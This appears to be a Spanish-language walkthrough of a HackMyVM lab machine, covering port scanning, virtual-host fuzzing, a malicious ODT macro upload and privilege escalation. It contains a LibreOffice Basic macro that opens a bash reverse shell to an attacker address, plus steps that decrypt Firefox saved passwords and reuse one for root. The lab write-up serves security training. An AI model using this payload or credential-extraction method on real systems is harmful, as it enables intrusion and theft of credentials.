Enumeración de servicios
El escaneo identifica SSH y una aplicación web sobre Apache. La página principal revela un dominio interno, por lo que ampliamos la enumeración hacia virtual hosts:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-22 21:16 -04
Nmap scan report for 192.168.1.24
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelDescubrimiento de virtual hosts
Después de asociar quick.hmv con la IP víctima en /etc/hosts, usamos el encabezado Host como punto de fuzzing. Las respuestas diferenciadas revelan careers, customer y employee:
❯ wfuzz -u 'http://quick.hmv' -H 'Host: FUZZ.quick.hmv' -t 100 -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 3572
...
000000159: 200 244 L 1067 W 13819 Ch "careers"
000001100: 200 40 L 189 W 2258 Ch "customer"
000010237: 200 40 L 189 W 2258 Ch "employee"
...Acceso inicial mediante Malicious ODT Macro
careers publica correos y señala que el entorno utiliza LibreOffice. El formulario Apply to job acepta documentos .odt; creamos uno con una macro enlazada al evento de apertura. La macro no se ejecuta durante la subida, sino cuando un usuario o proceso revisa posteriormente el documento:
REM ***** BASIC *****
Sub on_open(oEvent As Object)
Call Main
End Sub
Sub Main
Shell("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'")
End SubTras subirlo, alguien lo abre y obtenemos shell como andrew:
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.24:39846.
bash: cannot set terminal process group (1191): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/andrew/.bashrc: Permission denied
andrew@quick5:~/applicants$Browser Credential Exposure en Firefox
La shell pertenece a andrew y permite recuperar la primera flag. Como la máquina funciona como workstation, buscamos almacenes de credenciales del navegador y localizamos logins.json dentro del perfil Snap de Firefox:
andrew@quick5:/tmp$ find / -name logins.json 2>/dev/null
/home/andrew/snap/firefox/common/.mozilla/firefox/ii990jpt.default/logins.jsonfirefox_decrypt necesita logins.json y la base de claves del mismo perfil. Como la instalación Snap los guarda fuera de la ubicación convencional, creamos un enlace hacia .mozilla y ejecutamos la herramienta sobre el perfil completo:
andrew@quick5:/tmp$ ln -s /home/andrew/snap/firefox/common/.mozilla /home/andrew/.mozilla
andrew@quick5:/tmp$ python3 firefox_decrypt.py
Website: http://employee.quick.hmv
Username: 'andrew.speed@quick.hmv'
Password: 'SuperSecretPassword'La contraseña guardada pertenece a la aplicación employee.quick.hmv, pero su reutilización en la cuenta local root permite completar la escalada:
andrew@quick5:/tmp$ su root
Password: SuperSecretPassword
root@quick5:/tmp#El prompt root@quick5 confirma la nueva identidad y permite recuperar la flag final.